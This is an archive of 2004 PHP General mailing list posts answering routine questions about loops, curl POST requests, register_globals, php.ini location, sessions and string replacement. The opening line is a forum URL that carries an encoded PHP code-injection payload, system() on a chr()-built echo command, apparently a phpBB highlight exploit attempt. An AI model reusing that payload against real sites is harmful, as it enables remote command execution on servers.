/temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(9

[PHP] Getting Query Results Row Number during a While Loop

2004-12-22 Thread The Snake from Hell!
If you know the row count then use a for loop.

$count = mysql_num_rows($result);

for ($i=0;$i<$count;$i++) {

   echo "I = $i";
}

Brad Dameron
Systems Administrator
SeaTab Software
www.seatab.com


>I am creating a query and displaying the results during a
while Loop.  I know how to get >the total number of rows
but need to know which row I am currently working on in the
loop.
>
>Thanks in advance for your help
>-- 
>PHP General Mailing List (http://www.php.net/)
>To unsubscribe, visit: http://www.php.net/unsub.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Getting Query Results Row Number during a While Loop

2004-12-22 Thread Jay Blanchard
[snip]
I am creating a query and displaying the results during a while Loop.  I

know how to get the total number of rows but need to know which row I am

currently working on in the loop.
[/snip]

You need a variable, like $i, to hold the number, then increment and
display

$i = 0;

while(your database stuff happens){
$i++;
echo $i . "\n";
}
/* cleanup after the while loop is done */
unset($i);

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Getting Query Results Row Number during a While Loop

2004-12-22 Thread Michael Brennan-White
I am creating a query and displaying the results during a while Loop.  I 
know how to get the total number of rows but need to know which row I am 
currently working on in the loop.

Thanks in advance for your help
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] curl CUSTOMREQUEST

2004-12-22 Thread Richard Lynch
Juan Nin wrote:
> I saw a post at http://www.php.net/manual/en/ref.curl.php where it says:
>
> "Using the customrequest for a complete post is wrong. Libcurl will add
> a partial url, the http version and the standard headers after the post
> data - while this works with a non-persistent connection and an apache
> web server, it may fail under different conditions"
>
> Does anybody know a bit more on this?? (I sent an e-mail to the one
> who posted it, but the address does not longer exist)

I'm not sure this qualifies as "knowing a bit more" but...

I believe the key word you are missing in the statment is 'post', as in
POST, as in $_POST variables, which you haven't tested at all in your
script.

As I understand it, just based on reading the same words you are reading,
the issue is that you are sending some extra bogus headers to the
web-server, in the wrong order, after the POST data, if you do a
"customrequest for a complete post" (whatever that all means).

Now, I'm not 100% sure on this part, but I think in an HTTP POST, the
exchange looks something like this:

---
shell> telnet example.com 80
* Trying aaa.bbb.ccc.ddd...
* Connected to example.com.
* Escape character is '^]'.
POST /url/to/script.php HTTP/1.0
Host: example.com
Content-length: [insert length of POST data here]

[insert actual POST data here]

* === Stuff printed by the web-server, without the '* ' actually there.

Note the blank line in between the headers (up to Content-length:) and the
actual POST data.

So what they are telling you *NOT* to do is this:

shell> telnet example.com 80
Trying aaa.bbb.ccc.ddd...
Connected to example.com.
Escape character is '^]'.
POST /url/to/script.php HTTP/1.0
Host: example.com
Content-length: [insert length of POST data here]

[insert actual POST data here]
POST /url/to/script.php HTTP/1.0
Host: example.com
Content-length: [insert length of POST data here]


As you can see, bogus headers are getting sent to the server after the
POST data of the specified length was sent.

I don't think it applies at all in GET request, though that may be my
mis-interpretation.

At any rate, if my theory is correct, we can then see what the business
about "non-persistent connections and an apache web server" mean:

Since the connection is non-persistent, those bogus headers won't be
mistakenly believed to be part of the *NEXT* request in a persistent
connection.

In other words, if you threw in a "Keep-alive: " header in the example
POST exchanges above, the extra bogus headers would suddenly become
crucial -- Apache would, correctly, assume they are part of your *NEXT*
request to the web-server on this persistent connection you are using to
send request after request to the web-server.

And, the 'works on apache' simply means that Apache correctly gets only
the POST data up to the "Content-length: " specified, and then then pretty
much ignores the bogus headers you tacked on at the end, which it really
shouldn't do, if it wanted to be real persnickety about what is a valid
HTTP request, since you *are* sending bogus headers after your request.

Now, the upshot of all this, if my theory is correct, is this:
If you get it to work on a specific Apache server, and if you document the
fact that trying to use persistent connections *WILL* fail miserably, and
if you are sure that your code won't be used to try this with other web
servers where they might not ignore the bogus extra headers...  It will
"work" okay, probably, for the rest of time.  But you'd want to document
it as a rather fragile hack that happens to work, rather than the right
way to do things.

Disclaimer: I have no idea what the 'customrequest' part of the message
means, nor how you would do it after a 'complete post' so I may be
completely full of [bleep] in this missive...  'customrequest' could, I
guess, mean that you've got some custom code in Apache and in your
'browser'  (or other programmed client) to do something that is neither
POST nor GET but is some other kind of exchange you set up just for
yourself like FOO -- which is just like GET or POST, only not, because
*you* define the behaviour of your web server and your client for FOO
requests, whatever those might be.  Sounds fun, if I had a lot of hours to
play with it.

-- 
Like Music?
http://l-i-e.com/artists.htm

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] How to set register_globals=off in the script?

2004-12-22 Thread Richard Lynch
Sebastian wrote:
> if the script isn't that big you can probably use extract() in most
> cases..

NOTE:  Using extract() blindly import all the variables in
$_GET/$_POST/$_REQUEST is no more safe than register_globals being "ON"

Don't get a false sense of "Security"

Also, it would be rather tricky for ini_set to change register_globals...

I mean, by the time you execute that line of PHP code, it's already TOO
LATE and the variables have already been defined.

What would one expect PHP to do in this case:



So if I surf to http://example.com/index.php?a=4

would you expect the above code to:
A) Leave $a at 5
B) Leave $a 'unset'
C) Generate an error
D) Leave $a at 4

Okay, D) isn't even a reasonable answer, but, really, none of the others
are either.

-- 
Like Music?
http://l-i-e.com/artists.htm

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] String parsing issue in PHP 4.3.10?

2004-12-22 Thread Richard Lynch




Jason Wong wrote:
> On Wednesday 22 December 2004 03:53, Richard Lynch wrote:
>
>> ?> can be caught by PHP as the end of PHP mode, no matter where you put
>> it
>> in a string or not.
>
> You can't be serious? Or have I misunderstood you?
>
>   '; ?>
>
> Works as expected, ie displays "".

I plead sleep deprivation, your honor. :-^

It's only in comments that ?> gets funky.

Though my solution *DOES* work to solve the given problem, no?

-- 
Like Music?
http://l-i-e.com/artists.htm

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Newbie, easy question...

2004-12-22 Thread Richard Lynch
GaryH wrote:
> Below is  a simple php file that recieves input from a form html file.
> The
> php file outputs the first and last name, but their is no space between
> the
> names.  Does anyone know how I can get a space between name in the php
> file?

But there *IS* a space between them.  You put a space after $fusername in
your output.

Perhaps you want vertical space.

Perhaps you event want vertical space that a BROWSER will interpret as
vertical space.

Here are a couple options:

echo "$fusername\n$lusername";
echo "$fusername\n$lusername\n";

-- 
Like Music?
http://l-i-e.com/artists.htm

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP and Post Data

2004-12-22 Thread Richard Lynch
Shane Mc Cormack wrote:
> However, I am programming my own, and I have the Posted Data stored in
> the memory of the webserver, and when i execute the PHP.exe i need to
> tell it what the PostData is somehow.

Call me silly, but I'm guessing you could read the Apache source and
figure out how they do it.

That's probably the right way to do it, whatever it is.

It probably is following the CGI specification, which you can find pretty
quick-like.

I'm just guessing, really, but's that where I would start if I was silly
enough to try to write my own web server :-)

-- 
Like Music?
http://l-i-e.com/artists.htm

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Got to be an easier way to get a list of files/folders?

2004-12-22 Thread Tristan . Pretty
Ignore me.. I'm dumb after all...
I found what I needed in my very first PHP book...!
Jeeez, is it Friday yet???







[EMAIL PROTECTED] 
22/12/2004 16:20

To
php-general@lists.php.net
cc

Subject
[PHP] Got to be an easier way to get a list of files/folders?






I'm writing a photo gallery for my site.
I want to make it as idiot proof as possible...
What I'm planning, is to is upload my pics to a folder in the photo 
directory, and then run a scan to see what new folders there are.
All good, I've built a DB backend to lsit teh folders etc...
but I need to be able to list all the folders Vs my list of folders in my 
DB...

How can I get a list of folders and files within them, without using a 
massive script like this:?
http://uk.php.net/manual/en/function.readdir.php

I'm new to file manipulation, and if I'm being dumb, sorry...
Tris...

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] String parsing issue in PHP 4.3.10?

2004-12-22 Thread Curt Zirzow
* Thus wrote Jason Wong:
> On Wednesday 22 December 2004 08:18, John Holmes wrote:
> 
> > It is, I guess.
> >
> >  >
> > $a = ' ?> ';
> > $b = ' ?> ';
> >
> > ?>
> >
> > will work just fine. If you try to comment out either line, though, the PHP
> > processing will end at the ?> and spit out the rest as plain text. So, text
> > can have as many ?> as you want and the only issue comes when you try to
> > comment one of them out.
> 
> I'm sure it must be documented behaviour, because my syntax highlighting 
> editor seems to be aware of it. When I stick // in front of $a, the colour 
> for comments stop just before the ?>. And a quick check of the manual 
> confirms that it is documented behaviour. 

http://php.net/language.basic-syntax.comments

 The one-line comment styles actually only comment to the end of
 the line or the current block of PHP code, whichever comes first. 


Curt
-- 
Quoth the Raven, "Nevermore."

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] How do I find my php.ini file?

2004-12-22 Thread Rasmus Lerdorf
John Nichel wrote:
Don wrote:
Hi,
Fedora Core 3, PHP 5.03, MySQL 4.17, Apache 2.0.52
Recent PHP installation.  I created a phpinfo() page.  When I display 
it in
my browser, it says:

Configuration File (php.ini) Path/etc
Yet when I log on to my server and look for it in /etc, it is not there.
How can I find it???

find / -name php.ini
locate php.ini
If you installed from source, you will have to copy one of the ini files 
from the untared source to the proper location.
A little-known tip is that when phpinfo() gives you just a path to the 
ini file, then it isn't actually there.  It looked for it there, but it 
didn't find it.  If you then create /etc/php.ini in your case and 
restart your server and look at phpinfo() again you will see it says 
/etc/php.ini.

-Rasmus
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Got to be an easier way to get a list of files/folders?

2004-12-22 Thread Tristan . Pretty
I'm writing a photo gallery for my site.
I want to make it as idiot proof as possible...
What I'm planning, is to is upload my pics to a folder in the photo 
directory, and then run a scan to see what new folders there are.
All good, I've built a DB backend to lsit teh folders etc...
but I need to be able to list all the folders Vs my list of folders in my 
DB...

How can I get a list of folders and files within them, without using a 
massive script like this:?
http://uk.php.net/manual/en/function.readdir.php

I'm new to file manipulation, and if I'm being dumb, sorry...
Tris...

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Replacing whole words only

2004-12-22 Thread David OBrien
I'm also an idiot ...
Something else, the "or" output is occurring because the exception "the" 
matches "other " first so "other" becomes "or" minus the "the"...

So heres what I did ...

$search = array( '/\bthe\b/', '/\bother\b/', '/\bthat\b/', '/\ba\b/' );
$string = 'The other lady that laughed';

if( count( $search ) > 0 ) {
foreach( $search as $exceptionPhrase ) {
  $string = preg_replace( strtolower($exceptionPhrase), '', 
strtolower($string)); 

}
$retval = trim( $string );

}
echo 'Retval: ' . $retval . '';

And got 
lady laughed
In the matches ex. "/\bthe\b/" the \b mean word boundry so 
it matches only the whole word...
-David

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Re: can I compile php source

2004-12-22 Thread Jay Blanchard
[snip]
can you suggest any good compiler?
[/snip]

http://www.priadoblender.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Replacing whole words only

2004-12-22 Thread John Holmes
> From: "Chris Boget" <[EMAIL PROTECTED]>

> Is there a way to replace/remove *whole* words from a
> phrase?  For example:
[snip]
>   $stringToParse = str_replace( $exceptionPhrase, '', trim(
> $stringToParse ));

Try this instead of str_replace()

$stringToParse = 
preg_replace("/(^|\\W){$exceptionPhrase}(\\W|$)/i",'\\1',$stringToParse);

---John Holmes...

UCCASS - PHP Survey System
http://www.bigredspark.com/survey.html

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: can I compile php source

2004-12-22 Thread QT
hi,

can you suggest any good compiler?

thank you

"Jason Barnett" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> Qt wrote:
> > hi,
> >
> > is there any way to compile php source to make binary file for
protecting
> > source code?
> >
> > best regards
>
> Yes.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Replacing whole words only

2004-12-22 Thread Chris Boget
> The case is what's stopping it from working
> a str_replace(strtolower($exceptionphrase) , '' , 
> strtolower($stringtoparse)) would take the case out of the equation

No, that didn't entire quite work, either.  The result from this
change is "or ldy lughed" and not the desired result of "lady
laughed".  It's not only replacing *whole* words but parts of
words, too.

thnx,
Chris

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Replacing whole words only

2004-12-22 Thread David OBrien
The case is what's stopping it from working
a str_replace(strtolower($exceptionphrase) , '' , strtolower($stringtoparse)) 
would take the case out of the equation

and for php5 theres always the case insensitive version
str_ireplace()
-David


> 
> From: "Chris Boget" <[EMAIL PROTECTED]>
> Date: 2004/12/22 Wed AM 10:27:50 EST
> To: "PHP General" 
> Subject: [PHP] Replacing whole words only
> 
> Is there a way to replace/remove *whole* words from a
> phrase?  For example:
> 
>$exceptionsList = array( 'the', 'other', 'that', 'a' );
>   $stringToParse = 'The other lady that laughed';
> 
>   if( count( $exceptionsList ) > 0 ) {
> foreach( $exceptionsList as $exceptionPhrase ) {
>   $stringToParse = str_replace( $exceptionPhrase, '', trim(
> $stringToParse ));
> 
> }
> $retval = trim( $stringToParse );
> 
>   }
>   echo 'Retval: ' . $retval . '';
> ?>
> 
> results in "The or ldy lughed" and not "lady laughed".  Using
> the other *_replace() functions give the same results.  So is
> what I'm looking to do even possible?
> 
> thnx,
> Chris
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
> 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: Sesson handling with cookie

2004-12-22 Thread Bolla Sándor
Jason Barnett wrote:
Bolla sándor wrote:
Hi,
PHP 4.2.2, MySQL 3.23.xx
I have a problem destorying the actual session_id (SID)?
I tried to use session_destroy(), session_unset, but nothing works, 
session_id() is always the same.

Assuming you are using cookies... are you also destroying the user's 
cookie in this process?

What I want to do is:
- After 30 Minutes if the user didn't do any work then let the session 
die
- It must be work wheter browser's cookie is set or not?

Are you creating / checking the session on every page?  So long as a 
write is done at the end of each page visit then you shouldn't be having 
problems checking if the session is more than 30 minutes old.


Hi,
1. The user begins on the login form;
2. [ON EVERY PAGE EXCEPT THE LOGIN PAGE] If special session variable 
isn't set (MKMKOD), then let the user will be redirected to the login page
CODE: if (isset($_SESSION['MKMKOD']) and (!empty($_SESSION['MKMKOD']))) {

3. TO the login form:
3.
	3.1. Session_start(); here should be create at first a new session
	3.1(1/2) connect to database
	3.2. Check if login is ok
		3.2.1 if the user is whithin 30 minutes then rediect to the last used 
page (sometimes user close the browser if they don't want it)
		3.2.2. if last user page is empty then redirect to the default page
		3.2.3 if new login then delete the user from LOGIN table and let the 
user begin

.
.
.
I put on every page in the first line the session_start() function
I put some code here to check if it works fine!:
[ON EVERY PAGE]:
session_start();
!!!/* Here must be the code for generating a new session_id */!!!
dbconnect();
 if (isset($_SESSION['MKMKOD']) and (!empty($_SESSION['MKMKOD']))) {
$MKMKOD = $_SESSION['MKMKOD'];
	$SQL = 'SELECT * FROM LOGIN WHERE MKMKOD = "'.$MKMKOD.'" AND 
(DATE_SUB(NOW(),INTERVAL 30
MINUTE) > LOGIN_TIME)';
	if ($eredm=mysql_query($SQL) and (mysql_num_rows($eredm) > 0)) {
		header("Location: login.php?over30");
		Exit;
	}

$SQL = 'UPDATE LOGIN SET LOGIN_TIME = NOW(), CURRENT_STATE = 
"'.$_SERVER['PHP_SELF'].'" WHERE MKMKOD ="'.$MKMKOD.'"';
	mysql_query($SQL);
 } else {
	header("Location: login.php?nologin");
	Exit;
 }

[LOGIN PAGE]:
session_start();
dbconnect();
if (isset($_POST['Login'])) {
	$_user_ = $_POST['USER'];
	$_pwd_ = $_POST['PASSWORD'];
	$_mkmkod_ = $_POST['PCODE'];
	$SQL = 'SELECT * FROM USERS WHERE AZONOSITO = "'.$_user_.'" AND JELSZO 
= PASSWORD("'.$_pwd_.'") AND MKMKOD = "'.$_mkmkod_.'"';
	if ($eredm = mysql_query($SQL) and (mysql_num_rows($eredm) > 0)) {
	/* Successfully login */
		//Check 30 Minute
		$SQL = 'SELECT * FROM LOGIN WHERE MKMKOD = "'.$_mkmkod_.'" AND 
(DATE_SUB(NOW(),INTERVAL 30 MINUTE) <= LOGIN_TIME) AND HOST = 
"'.$_SERVER['REMOTE_ADDR'].'"';
		if ($eredm=mysql_query($SQL)) {
			if (mysql_num_rows($eredm) == 1) {
			$sor = mysql_fetch_array($eredm);
//Redirect to last used page
if (!empty($sor['CURRENT_STATE'])) {
	header("Location: ".$sor['CURRENT_STATE']);
Exit;
} else {
			   		header("Location: partner_hirek.php");
Exit;
}
			} else {
			if (mysql_error()) {
			die (mysql_error());
			}
			}
		}
	
		session_register('MKMKOD');
		$_SESSION['MKMKOD'] = $_mkmkod_;
		
		session_register('ownSID');
		$_SESSION['ownSID'] = New_ID();
		
		//Last used page redirect
		$SQL = 'SELECT CURRENT_STATE FROM LOGIN WHERE MKMKOD = "'.$_mkmkod_.'"';
		if ($eredm=mysql_query($SQL) and (mysql_num_rows($eredm) > 1)) {
		$sor = mysql_fetch_array($eredm);
			$redirect = $sor['CURRENT_STATE'];
		}
		
		//Delete user without logout
		$SQL = 'DELETE FROM LOGIN WHERE MKMKOD = "'.$_mkmkod_.'"';
		mysql_query($SQL);

		$SQL = 'INSERT INTO LOGIN (MKMKOD, SESSION, LOGIN_TIME,HOST) VALUES (';
	$SQL .= 
'"'.$_mkmkod_.'","'.$_SESSION['ownSID'].'",NOW(),"'.$_SERVER['REMOTE_ADDR'].'")';
		if (!$eredm=mysql_query($SQL)) {
		$msg[] = 'Incorrect login';
		} else {
		//Othes issues after login
			if (isset($redirect) and !empty($redirect)) {
header("Location: $redirect");
Exit;
			}
		header("Location: partner_hirek.php");
		Exit;
		}
	} else {
		$msg[] = mysql_error();
	}

}.
.
.
Create page
Bye
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Replacing whole words only

2004-12-22 Thread Chris Boget
Is there a way to replace/remove *whole* words from a
phrase?  For example:

 0 ) {
foreach( $exceptionsList as $exceptionPhrase ) {
  $stringToParse = str_replace( $exceptionPhrase, '', trim(
$stringToParse ));

}
$retval = trim( $stringToParse );

  }
  echo 'Retval: ' . $retval . '';
?>

results in "The or ldy lughed" and not "lady laughed".  Using
the other *_replace() functions give the same results.  So is
what I'm looking to do even possible?

thnx,
Chris

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] fsockopen to own server

2004-12-22 Thread Doc
Thanks for your (and everyone else's) help so far.

I've given up on this. Got another one off the web which uses pop3 and
mail() to achieve the same thing.

Thanks anyway
Dave

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread [EMAIL PROTECTED]

> On Wed, 22 Dec 2004 Jay Blanchard wrote:
> [snip]
> I haven't tried this question on the Apache mailing list. But after
> finding more stuff about the 'zend_alter_ini_entry' in the PHP Dev
> mailing list I wanted to try here first. In that case I'm off to
> join yet another mailing list... erghhh.
> Thank you for the help anyway Jay, but this problem still 'remains'
> open. Anyone else got any good pointers?
> [/snip]
> Did you also post this question to the PHP-Dev list then?

 Okay, yet another mailing list to join... 



mail2web - Check your email from the web at
http://mail2web.com/ .

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread Jay Blanchard
[snip]
I haven't tried this question on the Apache mailing list. But after
finding
more stuff about the 'zend_alter_ini_entry' in the PHP Dev mailing list
I
wanted to try here first. In that case I'm off to join yet another
mailing
list... erghhh.

Thank you for the help anyway Jay, but this problem still remians open.
Anyone else got any good pointers?
[/snip]

Did you also post this question to the PHP-Dev list then?

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread [EMAIL PROTECTED]
>On Wed, 22 Dec 2004 08:54:39 Jay Blanchard wrote:
>[snip]
>>On Wed, 22 Dec 2004, [EMAIL PROTECTED]  Wrote:
>>Wasn't sure if I should post here or on the apache mailing list, but I
>want
>>to code a simple apache2 module, that will change the 'open_basedir' at
>>runtime. Is it possible, or does anyone know how I can change this
>value?
>And few I didn't include, but nothing about "php.h" or "zend.h". I think
>from the program call 'zend_alter_ini_entry' it is very much a Zend/PHP
>orientated thing. Which I visited both sites and read up on but no
>example code, no helpful pointers that I could find? [/snip]
>
>Since your original request was "I want to code a simple apache2 module"
>I sent you to Apache. Have you tried this question on their lists?

I haven't tried this question on the Apache mailing list. But after finding
more stuff about the 'zend_alter_ini_entry' in the PHP Dev mailing list I
wanted to try here first. In that case I'm off to join yet another mailing
list... erghhh.

Thank you for the help anyway Jay, but this problem still remians open.
Anyone else got any good pointers?



mail2web - Check your email from the web at
http://mail2web.com/ .

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread Jay Blanchard
[snip]
>On Wed, 22 Dec 2004, [EMAIL PROTECTED]  Wrote:
>Wasn't sure if I should post here or on the apache mailing list, but I
want
>to code a simple apache2 module, that will change the 'open_basedir' at
>runtime. Is it possible, or does anyone know how I can change this
value?

And few I didn't include, but nothing about "php.h" or "zend.h". I think
from the program call 'zend_alter_ini_entry' it is very much a Zend/PHP
orientated thing. Which I visited both sites and read up on but no
example
code, no helpful pointers that I could find?
[/snip]

Since your original request was "I want to code a simple apache2 module"
I sent you to Apache. Have you tried this question on their lists?

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: Sesson handling with cookie

2004-12-22 Thread Jason Barnett
Bolla sándor wrote:
Hi,
PHP 4.2.2, MySQL 3.23.xx
I have a problem destorying the actual session_id (SID)?
I tried to use session_destroy(), session_unset, but nothing works, 
session_id() is always the same.
Assuming you are using cookies... are you also destroying the user's 
cookie in this process?

What I want to do is:
- After 30 Minutes if the user didn't do any work then let the session die
- It must be work wheter browser's cookie is set or not?
Are you creating / checking the session on every page?  So long as a 
write is done at the end of each page visit then you shouldn't be having 
problems checking if the session is more than 30 minutes old.

--
Teach a person to fish...
Ask smart questions: http://www.catb.org/~esr/faqs/smart-questions.html
PHP Manual: http://php.net/manual/
php-general archives: http://marc.theaimsgroup.com/?l=php-general&w=2
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread [EMAIL PROTECTED]

On: Wed, 22 Dec 2004 06:50:25 Jay Blanchard wrote:
[snip]
After a little digging about I found this post:
http://marc.theaimsgroup.com/?l=php-dev&m=106084499620342&w=2
I've just wondering what headers and libraries I will need to compile in
as well? Do I just include the php.h, or is there a "how to" on this or
some example code I can view for this exact purpose?
[/snip]
You need to hit the Apache list and RTFM on coding Apache 2 mods

Read the documents, found out very little apart from including:
"ap_mmn.h", "apr_buckets.h", "util_filter.h", "apr.h" ... 
"http_request.h", "util_script.h", "ap_config_auto.h"

And few I didn't include, but nothing about "php.h" or "zend.h". I think
from the program call 'zend_alter_ini_entry' it is very much a Zend/PHP
orientated thing. Which I visited both sites and read up on but no example
code, no helpful pointers that I could find?

If someone can actually come up with a constructive soultion or head way to
this question I'd be most greatful... A code example would be brilliant!!

Regards, kibble.

FYI: I have RTFM, all I require is a little help.



mail2web - Check your email from the web at
http://mail2web.com/ .

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Any bright solution for my problem?

2004-12-22 Thread Brent Baisley
I can think of a few things off the top of my head. Not that any are 
perfect solutions.

The first and most obvious would be to select your 50 record set into 
memory, update the records as "processing", then deliver the data, then 
update the records as "used".

Or, have another table with one record and one field. When a script 
starts, it updates the field to indicate a running state. When it 
finishes it changes the field to indicate an idle state. So whenever a 
script runs, it checks the field to see if another script that is 
running. You may be able to get the same affect by locking the table, 
which would probably be better, but I don't know if you can have the 
table locked for a minute (no updates).

Another possible option is to use limit intervals in your query. You 
are probably already using limit to restrict your results to 50 
records. You can use the same concept as above, but use the field to 
indicate which set of 50 to return next. Whatever number is in the 
field, you just multiply by 50 to get your limit range. So a 0 (zero) 
would give you LIMIT (0*50),50, a 1 would give you (1*50),50, a 2 would 
give you (2*50),50, etc. Then your queries can overlap.

Of course, none of these work for a multi delivery setup since you 
can't track which records have been delivered to which url. For that, 
you may want to select your entire database into a temporary table, or 
just the unique IDs, then use the temp table for processing using 
something like the first idea.

To take a technique from monitoring shell scripts I've written, have 
the script do the timing. Get a time stamp when the script starts. When 
it finishes its run it gets an end time. If the time difference is more 
than a minute, it immediately runs again, otherwise it "sleeps" for the 
remaining differential. This assures that the script won't trip over a 
copy of itself. Basically you are setting up a dependency, you don't 
want script x to run until script y is finished, but in this case x and 
y are the same script.

On Dec 22, 2004, at 5:20 AM, QT wrote:
Dear Sirs,
I have a database with thousands records. And every minutes I am 
selecting
50 rows from that database and send some data to another web url 
according
sellected 50 rows.

Whenever, my script finish job in one minute, I have no problem. 
Because
after each transaction, I am uptading one of the rows field as a 
"uesd".

BUT! if my script can not finish sending data to another url due to low
speed connection or such a problem. On the next minute, same script 
runs
automaticlay and sellecting another 50 rows which are not marked by 
"used".

In this case, some times these two running acripts are sellecting same 
rows
due to, old one haven't marked as a "used" for sellected rows.

Is there any way, to put flag or something like that, when sellecting 
rows
with php and mysql?

Best Regards
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

--
Brent Baisley
Systems Architect
Landover Associates, Inc.
Search & Advisory Services for Advanced Technology Environments
p: 212.759.6400/800.759.0577
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Sesson handling with cookie

2004-12-22 Thread Bolla Sándor
Hi,
PHP 4.2.2, MySQL 3.23.xx
I have a problem destorying the actual session_id (SID)?
I tried to use session_destroy(), session_unset, but nothing works, 
session_id() is always the same.

What I want to do is:
- After 30 Minutes if the user didn't do any work then let the session die
- It must be work wheter browser's cookie is set or not?
What Should I do to let it work?
I successfully check if 30 minutes left after last (site)change, but I 
can't give a new Session_id(), after I let the user redirect onto the 
login page?

Bye
Alex
Background:
- I save the login information into database with the following columns:
CREATE TABLE `LOGIN` (
  `MKMKOD` varchar(20) NOT NULL default '',
  `SESSION` varchar(255) NOT NULL default '',
  `LOGIN_TIME` datetime NOT NULL default '-00-00 00:00:00',
  `HOST` varchar(15) NOT NULL default '',
  `CURRENT_STATE` varchar(255) default ''
) TYPE=MyISAM;
- I check if it's over 30 minutes, on the current request:
'SELECT * FROM LOGIN WHERE MKMKOD = "'.$_mkmkod_.'" AND 
(DATE_SUB(NOW(),INTERVAL 30 MINUTE) <= LOGIN_TIME) AND HOST = 
"'.$_SERVER['REMOTE_ADDR'].'"'

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] can I compile php source WOT

2004-12-22 Thread Jay Blanchard
[snip]
No wonder there is so much war. Mostly started by people who know how to
be
self sufficient. 
[/snip]

So, if everyone was self-sufficient there would be no war? Cool...




;)

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] layers

2004-12-22 Thread Jay Blanchard
[snip]
The problem I am having doesn't exactly use PHP but, if you guys would
help
me out anyways, I would be very greatful.
[/snip]

There is a great maililng list at http://www.evolt.org for questions
just like these.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread Jay Blanchard
[snip]
After a little digging about I found this post:
http://marc.theaimsgroup.com/?l=php-dev&m=106084499620342&w=2

I've just wondering what headers and libraries I will need to compile in
as
well? Do I just include the php.h, or is there a "how to" on this or
some
example code I can view for this exact purpose?
[/snip]

You need to hit the Apache list and RTFM on coding Apache 2 mods

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Any bright solution for my problem?

2004-12-22 Thread Jay Blanchard
[snip]
Is there any way, to put flag or something like that, when sellecting
rows
with php and mysql?
[/snip]

You would essentially have to update each row as you retrieved it from
the database, which is highly inefficient...get one row, update the same
row, get the next row, update it...and so on

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread [EMAIL PROTECTED]

>On Wed, 22 Dec 2004, [EMAIL PROTECTED]  Wrote:
>Wasn't sure if I should post here or on the apache mailing list, but I want
